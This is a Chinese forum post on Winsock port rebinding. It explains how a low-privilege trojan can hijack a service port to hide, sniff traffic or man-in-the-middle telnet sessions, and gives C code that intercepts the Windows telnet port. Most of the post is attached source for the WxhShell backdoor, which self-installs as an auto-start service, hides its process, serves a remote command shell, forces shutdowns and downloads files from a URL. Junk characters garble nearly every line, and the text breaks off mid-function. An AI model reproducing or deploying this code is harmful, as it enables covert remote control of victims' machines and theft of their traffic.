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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =o~mZ/ 7=M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6 (7 56  
3_RdzW}f  
  saddr.sin_family = AF_INET; !}} )f/  
K7s[Fa6J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2a-]TVL3  
jct=Nee|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); odL* _<Z  
E|-oUz t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1#L%Q(G  
P:Q&lnC  
  这意味着什么?意味着可以进行如下的攻击: dOaOWMrfdf  
2(uh7#Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R.1.LB  
#y&5pP:@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x'-gvbj!  
;~1xhpTk  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 w.rcYywI  
B|o@ |zF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8yIBx%"4MH  
W2`3PEa  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fNda&  
R o{xprE1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O\!'Ds+gX  
3 K||(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;pL!cG@  
%V1jM  
  #include  "O# V/(  
  #include i\ uj>;B  
  #include X#by Dg  
  #include    |"}7)[BW}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .Tl,Ek(  
  int main() ~zZOogM<  
  { M]%dFQ  
  WORD wVersionRequested; ;mI^J=V3  
  DWORD ret; ,+d8   
  WSADATA wsaData; %O!x rA{  
  BOOL val; F7<u1R x]  
  SOCKADDR_IN saddr; #t2N=3dOj  
  SOCKADDR_IN scaddr; Z molL0y  
  int err; CY':'aWfa<  
  SOCKET s; K/(QR_@?  
  SOCKET sc; @[v,q_^8  
  int caddsize; R:l&2  
  HANDLE mt; X!{K`~DRX  
  DWORD tid;   nWc@ufY  
  wVersionRequested = MAKEWORD( 2, 2 ); e KuF7Oo  
  err = WSAStartup( wVersionRequested, &wsaData ); 3zmbx~| =\  
  if ( err != 0 ) { $[Ut])4 ~  
  printf("error!WSAStartup failed!\n"); /j3",N+I  
  return -1; ZJ+ad,?,  
  } VL5VYv=:  
  saddr.sin_family = AF_INET; k&L/Jzz I  
   4C?4M;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )Ft+eMYti[  
b{&'r~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Wm{ebx  
  saddr.sin_port = htons(23); \FX"A#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n2_;:=  
  { #%%!r$UL  
  printf("error!socket failed!\n"); /]0SF_dZ  
  return -1; 2&pE  
  } M*cF'go  
  val = TRUE; FbMtor  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 OVxg9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0$b4\.0>~  
  { UlNiH  
  printf("error!setsockopt failed!\n"); b)#rUI|O  
  return -1; g9;s3qXiG  
  } MtF^}/0w!`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; = [: E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ' -9=>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O> _ F   
unqUs08  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -ON-0L  
  { F+NX [  
  ret=GetLastError(); U8gj\G\`  
  printf("error!bind failed!\n"); 3mopTzs)  
  return -1; #Muh|P]%\  
  } 3(t3r::&  
  listen(s,2); pUqNB_  
  while(1) g'w"U9tjO  
  { raSga'uT;  
  caddsize = sizeof(scaddr); +84 p/ B#  
  //接受连接请求 _E8Cvaob  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m<k6oev$  
  if(sc!=INVALID_SOCKET) =_ j<x$,b-  
  { Al@. KTK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3*\Q]|SI!  
  if(mt==NULL) r| ]YS6  
  { WrRY 3X  
  printf("Thread Creat Failed!\n"); BHU$QX  
  break; {jwLVKT$  
  } x)N QRd  
  } N5`z S79W  
  CloseHandle(mt); ? F!c"+C  
  } Qv'x+GVW]  
  closesocket(s); 4M]l~9;A  
  WSACleanup(); Z'uiU e`&  
  return 0; 0s{7=Ef  
  }    ~H   
  DWORD WINAPI ClientThread(LPVOID lpParam) }kItVx  
  { G;W2Z,  
  SOCKET ss = (SOCKET)lpParam; K0B<9Wi |  
  SOCKET sc; Fv)E:PnKC  
  unsigned char buf[4096]; MwQ4&z#wh  
  SOCKADDR_IN saddr; O^6anUV0  
  long num; D@.qdRc3  
  DWORD val; =-r); d  
  DWORD ret; y3j"vKG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |*b-m k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q@PDhISa  
  saddr.sin_family = AF_INET; ]xoG{%vgb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |'P$zMAF  
  saddr.sin_port = htons(23); 1tI=Dw x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k?L2LIB<  
  { Ndb7>"W  
  printf("error!socket failed!\n"); qP&:9eL  
  return -1; '3sySsD&O  
  } $%'3w~h`  
  val = 100; 9;\mq'v%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wD$UShnm9-  
  { E8R;S}P A  
  ret = GetLastError(); S-3hLw&?  
  return -1; )[M:#;,L  
  } ":s_ O.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1ZRkVHiz0  
  { q &{<HcP  
  ret = GetLastError(); cPAR.h,b?  
  return -1; TXyiCS3  
  } Px*<-t|R-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bi",DKU{l  
  { |Ox='.oIb  
  printf("error!socket connect failed!\n"); gJ9"$fIPc  
  closesocket(sc); Y.tT#J^=  
  closesocket(ss); Ok\X%avq  
  return -1; Q[q`)~|  
  } -/Wf iE  
  while(1) *TI?tD  
  { `]@=Hx(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y5O &9Ckw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 79d(UG'O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PXJ7Ek*/  
  num = recv(ss,buf,4096,0); WK7?~R%rq  
  if(num>0) 7OG:G z+)x  
  send(sc,buf,num,0); g3{UP]Z71  
  else if(num==0) 5U+4vV/*  
  break; O1t$]k:  
  num = recv(sc,buf,4096,0); +w?R4Sxjn  
  if(num>0) IPYwUix  
  send(ss,buf,num,0); 8 Zp^/43  
  else if(num==0) wD{c$TJ?{F  
  break; Kdp($L9r  
  } )$df6sq  
  closesocket(ss); 3/ }  
  closesocket(sc); o59$v X,  
  return 0 ; 0x]?rd+q8Q  
  } Vq{3:QBR  
LGZa l&9AY  
NV9JMB{q  
========================================================== K5XW&|tY!  
6'@{ * u  
下边附上一个代码,,WXhSHELL x{<l8vL=-c  
NIbK3`1  
========================================================== w7Y@wa!  
q}VdPt>X/  
#include "stdafx.h" Ov?J"B'F  
(1GU  
#include <stdio.h> +Y~5197V  
#include <string.h> |K-`  
#include <windows.h> |vGHhzZ|  
#include <winsock2.h> Pgy[\t2K  
#include <winsvc.h> {Y Y,{H  
#include <urlmon.h> E0&d*BI2  
qz (x  
#pragma comment (lib, "Ws2_32.lib") SUUN_w~  
#pragma comment (lib, "urlmon.lib") *x;4::'Jn  
T :m" eD;  
#define MAX_USER   100 // 最大客户端连接数 r-.@MbBm  
#define BUF_SOCK   200 // sock buffer h"0)spF"d  
#define KEY_BUFF   255 // 输入 buffer l$EN7^%w  
"opMS/a"7  
#define REBOOT     0   // 重启 u{\'/c7G  
#define SHUTDOWN   1   // 关机 S5y.H  
\#I$H9O  
#define DEF_PORT   5000 // 监听端口 |C<#M<  
25{_x3t^  
#define REG_LEN     16   // 注册表键长度 .1{{E8Fj  
#define SVC_LEN     80   // NT服务名长度 nR*' 3  
}b&S3?ONt  
// 从dll定义API M~|7gK.m1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /9I/^i~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <EN9s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); urjf3h[%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8j3Y&m4^  
X|eZpIA45  
// wxhshell配置信息 )S2yU<6oOt  
struct WSCFG { _(kaaWJ  
  int ws_port;         // 监听端口 0.n[_?<(  
  char ws_passstr[REG_LEN]; // 口令 flFdoEV.U)  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1nskf*Z  
  char ws_regname[REG_LEN]; // 注册表键名 %>i:C-l8  
  char ws_svcname[REG_LEN]; // 服务名 y*vSt^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PMB4]p%o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Uza '%R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :Z6j5V;s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >5L_t   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~qGW9 4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9N}\>L)_  
5Q"w{ n  
}; G`>]ng  
ZDR@VYi+~  
// default Wxhshell configuration !.$L=>:V  
struct WSCFG wscfg={DEF_PORT, /+SLq`'u)  
    "xuhuanlingzhe", TxP +?1t  
    1, <L#d <lx  
    "Wxhshell", }>u `8'2v  
    "Wxhshell", +W*~=*h|  
            "WxhShell Service", y@!o&,,mq  
    "Wrsky Windows CmdShell Service", lYQ|NL():  
    "Please Input Your Password: ", qclc--fsE  
  1, 'Uf?-t*LT@  
  "http://www.wrsky.com/wxhshell.exe", 6xJffl  
  "Wxhshell.exe" \?^2}K/  
    }; sEdz`F  
vb6EO[e% I  
// 消息定义模块 PKSfu++Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c8JW]A`9b)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `!HD. E[2c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "Nj/{BU  
char *msg_ws_ext="\n\rExit."; 4r1\&sI$~  
char *msg_ws_end="\n\rQuit."; D @*<O=_D(  
char *msg_ws_boot="\n\rReboot..."; f;zNNx< ;  
char *msg_ws_poff="\n\rShutdown..."; m3lz#Pm'0  
char *msg_ws_down="\n\rSave to "; r%ES#\L6+|  
@>(KEjQTz  
char *msg_ws_err="\n\rErr!"; "/i$_vl  
char *msg_ws_ok="\n\rOK!"; - Fbp!*. u  
TD}<U8I8_  
char ExeFile[MAX_PATH]; 'YNdrvz  
int nUser = 0; 0^-1d2Z~  
HANDLE handles[MAX_USER]; Wx GD*%  
int OsIsNt; &HM-UC|  
w#9Kt W,tt  
SERVICE_STATUS       serviceStatus; =L" 0]4K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :V)jm`)#+  
cu0IFNF}[  
// 函数声明 ^}d]O(  
int Install(void); P6 OnE18n  
int Uninstall(void); x [FLV8`b|  
int DownloadFile(char *sURL, SOCKET wsh); <s'de$[  
int Boot(int flag); [fa4  
void HideProc(void); A>yU0\A  
int GetOsVer(void); UUJQc ~=  
int Wxhshell(SOCKET wsl); ilL0=[2  
void TalkWithClient(void *cs); "S%t\  
int CmdShell(SOCKET sock); EX`P(=zD  
int StartFromService(void); sV  
int StartWxhshell(LPSTR lpCmdLine); .9qK88fUR  
tUJRNEg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uPA ( 1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |/*Pimk  
F`nQS&y  
// 数据结构和表定义 ;[sW\Ou  
SERVICE_TABLE_ENTRY DispatchTable[] = S }`sp[6  
{ J/?Nf2L4  
{wscfg.ws_svcname, NTServiceMain}, // o.+?S  
{NULL, NULL} 6@J=n@J$p  
}; ?0VR2Yb${b  
yJm"vN  
// 自我安装 ]yU"J:/  
int Install(void) vjGQ!xF  
{ 0Z9DewwP  
  char svExeFile[MAX_PATH]; d!y*z  
  HKEY key; <=q} Nd\  
  strcpy(svExeFile,ExeFile); ' [ 4;QYw  
d,"LZ>hNY*  
// 如果是win9x系统,修改注册表设为自启动 F1t(P 8  
if(!OsIsNt) { `a& kD|Yh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FM@iIlY"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ATNOb  
  RegCloseKey(key); 1PkCWRpR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @^W`Yg)C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bV_nYpo  
  RegCloseKey(key); |@Tga_0p  
  return 0; '-;[8:y.  
    } e<L@QNX  
  } Ma[EgG  
} &7aWVKon  
else { e`D}[G#  
g>@JGzMLP  
// 如果是NT以上系统,安装为系统服务 1sQIfX#2f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $<^t][{  
if (schSCManager!=0) Dm>"c;2  
{ zH8E,)  
  SC_HANDLE schService = CreateService fd\RS1[  
  ( %z><)7  
  schSCManager, iQwQ5m!d &  
  wscfg.ws_svcname, Eah6"j!B8n  
  wscfg.ws_svcdisp, OU[<\d  
  SERVICE_ALL_ACCESS, I{`70  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wHc my  
  SERVICE_AUTO_START, }{o !  
  SERVICE_ERROR_NORMAL, gb ga"WO  
  svExeFile, |cPHl+$nh.  
  NULL, o\IMYT  
  NULL, k9^Hmhjw  
  NULL, IHl q27O  
  NULL, ^OR0Vp>L  
  NULL 5'~_d@M  
  ); _kj]vbG^;  
  if (schService!=0) SUncQJJ0S*  
  { `Lf'/q   
  CloseServiceHandle(schService); n|SV)92o1  
  CloseServiceHandle(schSCManager); }h5i Tc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k_al*iM>H  
  strcat(svExeFile,wscfg.ws_svcname); >qjV{M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hcq.Lq;2:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'rD6MY  
  RegCloseKey(key); Mqf Ns<2  
  return 0; ^mS |ff  
    } Ccf/hA#mb  
  } +eM${JyXH  
  CloseServiceHandle(schSCManager); >:;dNVz  
} *z=_sD?1  
} rz?Cn X.t  
*Gbhk8}V'  
return 1; RpHlq  
} }'X=&3m  
&|>+LP@8  
// 自我卸载 g,Z A\R~  
int Uninstall(void) yBIlwN`kB  
{ &1xCPKIr  
  HKEY key; xvr5$x|h  
9(CvGzco <  
if(!OsIsNt) { |y\Km  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OZ,kz2SF#  
  RegDeleteValue(key,wscfg.ws_regname); /HC:H,"i  
  RegCloseKey(key); p5Q]/DhG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f^WTsh]  
  RegDeleteValue(key,wscfg.ws_regname); KhCP9(A=Qo  
  RegCloseKey(key); v<qh;2  
  return 0; '=\}dav!  
  } IP~!E_e}\  
} ^4y]7 p  
} ( ?V`|[+u  
else { FqKJids-  
!Brtao"m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yC,/R371k  
if (schSCManager!=0) ]Z JoC!u  
{ DHidI\*gT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,g`%+s7u  
  if (schService!=0) c}x1-d8  
  { YdY-Jg Xm  
  if(DeleteService(schService)!=0) { )Nv1_en<!  
  CloseServiceHandle(schService); VSj!Gm0LB  
  CloseServiceHandle(schSCManager); ~xH&"1  
  return 0; x%P|T3Qy5  
  } .p`4>XA  
  CloseServiceHandle(schService); "}]`64?  
  } # kI>  
  CloseServiceHandle(schSCManager); cH]tZ$E`  
} dn6B43w  
} KWwtL"3  
T X`X5j  
return 1; xS18t="  
} 3:%k pnO  
jjpYg  
// 从指定url下载文件 8OfQ :   
int DownloadFile(char *sURL, SOCKET wsh) '[F:uA  
{ +)Te)^&v%  
  HRESULT hr; Z5{a7U4z_  
char seps[]= "/"; :NzJvI<  
char *token; Ycm)PU["  
char *file; R+sT &d  
char myURL[MAX_PATH]; @nxo Bc !P  
char myFILE[MAX_PATH]; #u<Qc T@  
bIKg>U'5d  
strcpy(myURL,sURL); ]m]`J|%i  
  token=strtok(myURL,seps); bP,<^zA|X  
  while(token!=NULL) r@r%qkh(.@  
  { 0r]n 0?x  
    file=token; GnV0~?  
  token=strtok(NULL,seps); <?jd NM  
  } 93-Y(Xx)bY  
~m%[d. }e  
GetCurrentDirectory(MAX_PATH,myFILE); >&L|oq7$  
strcat(myFILE, "\\"); Iw1Y?Qia  
strcat(myFILE, file); IS C.~q2  
  send(wsh,myFILE,strlen(myFILE),0); B.<SC  
send(wsh,"...",3,0); a(Y'C`x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *2X6;~  
  if(hr==S_OK) ~/:vr  
return 0; h@)U,&  
else h#rP]o@  
return 1; O-- p)\   
wak26W>I3  
} [)H 6`w  
t@RYJmW  
// 系统电源模块 St=nf\P&F  
int Boot(int flag) SpH|<L3  
{ e r" w{  
  HANDLE hToken; +qxPUfN  
  TOKEN_PRIVILEGES tkp; T.q2tC[bR  
MsB >3  
  if(OsIsNt) { Nk~}aj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ` ]|X_!J-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UuG%5 ZC  
    tkp.PrivilegeCount = 1; ! VwU=5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \j)Evjw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -K"'F`;W  
if(flag==REBOOT) { }v1wpv/b(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iT@` dEZ .  
  return 0; >WLPE6E  
} r)(5,*v  
else { FU|brS t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) npP C;KD  
  return 0; !U`&a=k  
} {N(qS'N  
  } +vc+9E.?9  
  else { OhF55,[  
if(flag==REBOOT) { DF%d/a{]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3)OZf{D[  
  return 0; #86N !&x  
} uf(ayDE  
else { VA/2$5Wu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7KT*p&xm  
  return 0; On C)f  
} Da^q9,|  
} +a#&W}K  
;i{B,!#  
return 1; Rq4; {a/j  
} >Wg= Tuef  
Y#U.9>h  
// win9x进程隐藏模块 9t! d.}  
void HideProc(void) ?2<QoS  
{ ",r v%i2 f  
G  hM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #h!+b  
  if ( hKernel != NULL ) }"Y<<e<z:  
  { I#l}5e5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); verI~M$v{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kuY^o,u-1e  
    FreeLibrary(hKernel); YMGy-]!o  
  } X<ex >sM  
;W|kc</R*  
return; OT#@\/>  
} z*3b2nV  
ZvY"yl?e  
// 获取操作系统版本 .[={Yx0!I  
int GetOsVer(void) #%,X),%-  
{  ^`H'LD  
  OSVERSIONINFO winfo; $e^"Inhtqp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [o^$WL?c  
  GetVersionEx(&winfo); o Rfb4+H&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h*%p%t<  
  return 1; g 2Fg  
  else s5,@=(,  
  return 0; HOW<IZ^  
} BD6!,  
H`[FC|RYyE  
// 客户端句柄模块 goM;Pf "<  
int Wxhshell(SOCKET wsl) h'ik3mLH  
{ =D zrM%  
  SOCKET wsh; WC_.j^sW  
  struct sockaddr_in client; G/ x6zdk  
  DWORD myID; 2"0VXtv6  
/Qgb t  
  while(nUser<MAX_USER) Z;+,hR((  
{ tpI/I bq  
  int nSize=sizeof(client); hvt]VC]]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \e a*  
  if(wsh==INVALID_SOCKET) return 1; deVd87;@7[  
}OkzP)(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .0Ud?v>=  
if(handles[nUser]==0) 6:_~-xG  
  closesocket(wsh); 3mgvWR  
else %p7 ?\>  
  nUser++; +V=<vT  
  } d`\SX(C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U$:^^Zt`B  
01Jav~WR  
  return 0; >N3X/8KL%  
} EeaJUK]z9  
,\`ruWWLb=  
// 关闭 socket )Rr6@o  
void CloseIt(SOCKET wsh) ,Csdon  
{ ]t[%.^5#  
closesocket(wsh); >WHajYO"  
nUser--; v}>g* @  
ExitThread(0); +=WBH'  
} QW..=}pL  
6Ga'_P:  
// 客户端请求句柄 lw=kTYbq  
void TalkWithClient(void *cs) LcKc#)'EE  
{ g}9 ,U&$]y  
l@Lk+-[D  
  SOCKET wsh=(SOCKET)cs; +m_ .?V6  
  char pwd[SVC_LEN]; V .Kjcy  
  char cmd[KEY_BUFF]; a$W O} g?  
char chr[1]; AFt- V  
int i,j; gD$&OkH  
osc8;B/  
  while (nUser < MAX_USER) { PpRS4*nR  
G>~/  
if(wscfg.ws_passstr) { 5%'ybh)@   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 74_?@Z(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s$y_(oU,D  
  //ZeroMemory(pwd,KEY_BUFF); '{`KYKLP+  
      i=0; j)i c7 b  
  while(i<SVC_LEN) { Fd8nR9A  
d /jx8(0  
  // 设置超时 dcKpsX  
  fd_set FdRead; P IG,a~  
  struct timeval TimeOut; U=v>gNba  
  FD_ZERO(&FdRead); >A )Sl'  
  FD_SET(wsh,&FdRead); $GoS?\G  
  TimeOut.tv_sec=8; j ,rc9  
  TimeOut.tv_usec=0; 8;M,l2pmR{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \ ZnA%hC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `=Mk6$%Cs  
5|0}bv O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n3e,vP? R  
  pwd=chr[0]; /G5KNSi  
  if(chr[0]==0xd || chr[0]==0xa) { 8] LF{Obz[  
  pwd=0; _d!sSyk`  
  break; 5?3v;B6  
  } E2Sj IR}  
  i++; [w](x  
    } CfOyHhhKX  
X8}r= K~  
  // 如果是非法用户,关闭 socket l(Y32]Z   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \]Y<d  
} Tp;W  
S5|7D[*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n6[shXH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ESw* 6s9  
j1Ys8k%$l  
while(1) { =Vh]{ y~$  
W3l[a^1d  
  ZeroMemory(cmd,KEY_BUFF); d{TcjZ  
+@$VJM%^7b  
      // 自动支持客户端 telnet标准   l|842N@1  
  j=0; Ov" wcJ  
  while(j<KEY_BUFF) { /{({f?k<\/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C,;?`3bH@  
  cmd[j]=chr[0]; !,- 'wT<v  
  if(chr[0]==0xa || chr[0]==0xd) { zGe =l;  
  cmd[j]=0; fq1w <e  
  break; 6l|L/Z_6  
  } +4J'> dr  
  j++; X6sZwb  
    } -0uGzd+m*  
M5[#YG'FlQ  
  // 下载文件 "eoPG#]&  
  if(strstr(cmd,"http://")) { 0MT?}D&TL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,%Pn.E* r;  
  if(DownloadFile(cmd,wsh)) '>[ZfT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TaF*ZT2  
  else n4?;!p<F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +;H=_~b  
  } `-nSH)GBM  
  else { bSM|"  
{? yRO]  
    switch(cmd[0]) { )~P<ruk>,C  
  ,!SbH  
  // 帮助 ;8VZsh  
  case '?': { oe6Ex5h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /&?ei*z  
    break; va~:Ivl-)  
  } gy1kb,MO  
  // 安装 )YCH>Za  
  case 'i': { r<]^.]3zj  
    if(Install()) Y&VypZ"G>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y;0Zk~R$  
    else mj9|q8v{+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uq=Rz8hLM  
    break; &WCVdZK:  
    } XffHF^l9F  
  // 卸载 ;[zZI~wh  
  case 'r': { B8cg[;e81  
    if(Uninstall()) qPN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GDj_+G;tO\  
    else yyPj!<.MGP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p-C{$5& O1  
    break; ILNghtm-  
    } .&=\ *cZc  
  // 显示 wxhshell 所在路径 xR'd}>`  
  case 'p': { 7 |Qb}[s  
    char svExeFile[MAX_PATH]; v&sp;%I6=  
    strcpy(svExeFile,"\n\r"); cLp9|y0r  
      strcat(svExeFile,ExeFile); M#o=.,  
        send(wsh,svExeFile,strlen(svExeFile),0); Q0 PqyobD  
    break; C _W]3  
    } ?h7[^sxJ  
  // 重启 u`L*  
  case 'b': { cB;DB) 0P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); % [,^2s  
    if(Boot(REBOOT)) (^=kV?<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d6W&u~  
    else { VuBi_v6  
    closesocket(wsh); _#<l -R`  
    ExitThread(0); *nM.`7g*[  
    } ~9f Ts4U  
    break; }k1[Fc|  
    } B^1jd!m  
  // 关机 _qit$#wK;  
  case 'd': { { F0"U=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6{Bvl[mhI  
